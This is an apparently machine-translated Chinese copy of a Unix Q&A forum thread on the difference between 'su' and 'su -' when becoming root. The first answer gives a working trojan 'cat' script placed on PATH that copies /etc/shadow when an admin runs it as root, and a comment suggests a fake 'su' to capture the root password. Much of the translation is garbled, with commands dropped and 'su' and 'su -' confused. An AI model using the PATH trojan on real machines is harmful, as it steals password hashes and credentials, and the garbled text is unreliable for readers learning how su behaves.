我不明白为什么su -su更喜欢以root用户身份登录。

#1 楼

su -在切换用户后调用登录shell。登录外壳程序会重置大多数环境变量,从而提供一个干净的基础。

su只是切换用户,从而为普通外壳程序提供了与旧用户几乎相同的环境。

想象一下,您是一名软件开发人员,具有对计算机的正常用户访问权限,而您的无知管理员将不会授予您root访问权限。让我们(希望)欺骗他。 !

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"


如果您的管理员不那么聪明或有点懒,他可能会来您的办公桌前尝试使用他的超级用户权限:

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!


哇!谢谢,超级管理员!

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit


他,他。

您可能已经注意到损坏的cat变量未重置。如果管理员改为调用$PATH,则不会发生这种情况。

评论


su-与su相同。

– Mikel
2011年2月7日在20:08

-是一个标志,大多数程序将其解释为“在此之后什么都不应视为标志”。用来处理以破折号开头的内容。

–大卫·麦金托什(David Mackintosh)
2011年2月9日下午4:43

不要忘记将umask设置为000,否则它将不起作用。

– Lekensteyn
11-10-22在8:48

最好只是将su文件放在PATH中。模仿真实su的行为并不难。无论如何,超级用户一直很粗心:-)

–StéphaneGimenez
2012年2月28日在18:53



su-与su-不同:-告诉getopt(s)(或类似的)选项处理程序停止处理命令行以获取其他选项(例如,如果其余部分包含可以以'-开头的文件名,则用')。即,在“ rm -i--f”中:-f然后被视为常规参数,因此这里是rm -i的文件名,而不是rm命令的附加-foption。所以su-只是su而不是su-!因此,su-对于wag的(有趣而有启发性的)示例givan来说是不安全的。使用su-。

–奥利维尔·杜拉克(Olivier Dulac)
2012年12月26日15:05

#2 楼

su -完全以root用户身份登录,而su则以root用户身份登录。目录,如果您使用~

根据您的系统,这也可能意味着提示,su -或历史记录文件有所不同。一个系统,并且您的同事为您提供了一个要运行的命令,您知道如果两者都使用su,它将运行相同的命令,但是如果您俩都使用PATH,则由于您使用不同的Shell配置,可能会有所不同。 >
另一方面,如果您想以root用户身份运行命令但使用自己的配置,那么su -可能更适合您。

也不要忘记su,有一个su选项可以启动以root用户身份运行的shell。当然,这也有不同的规则,它们会根据您使用的发行版而变化。

评论


当我“ su”时,我得到〜和$ HOME都评估为/ root。您描述的行为是特定于某些Shell或OS版本还是某些东西?我的理解是〜可以被内核扩展。我有zsh作为我的(和root的)shell。

–JasonWoof
2011年2月8日,0:05

您的.bashrc或/ etc / bashrc或/etc/profile.d脚本正在设置PATH。寻找[$ UID -eq 0]或类似的东西。

– Mikel
2011年2月8日,1:14

例如,$ USER保持不变。

–彼得
2014年1月30日,11:13

sudo su呢?

–西蒙·匡(Simon Kuang)
2014年7月18日在20:10

您的示例对我不起作用。我得到以任何一种方式解析的相同目录。

–丹尼尔·W。
16年4月18日在14:45

#3 楼

主要区别在于:

su - username将shell环境设置为好像是作为指定用户的干净登录名一样,它可以访问和使用指定用户的环境变量。启动具有指定用户当前环境设置的Shell。

如果未使用su usernamesu指定用户名,则默认使用根帐户。

#4 楼

我使用su-当我以常规用户身份进入目录但要切换到root并在切换后保留在同一目录中时。当您使用su-时,它会将用户切换到root用户,并且还会带您到/ root这是根主目录。

评论


或/或任何定义为根目录的主目录

– Jeff Schaller♦
18年6月7日在23:42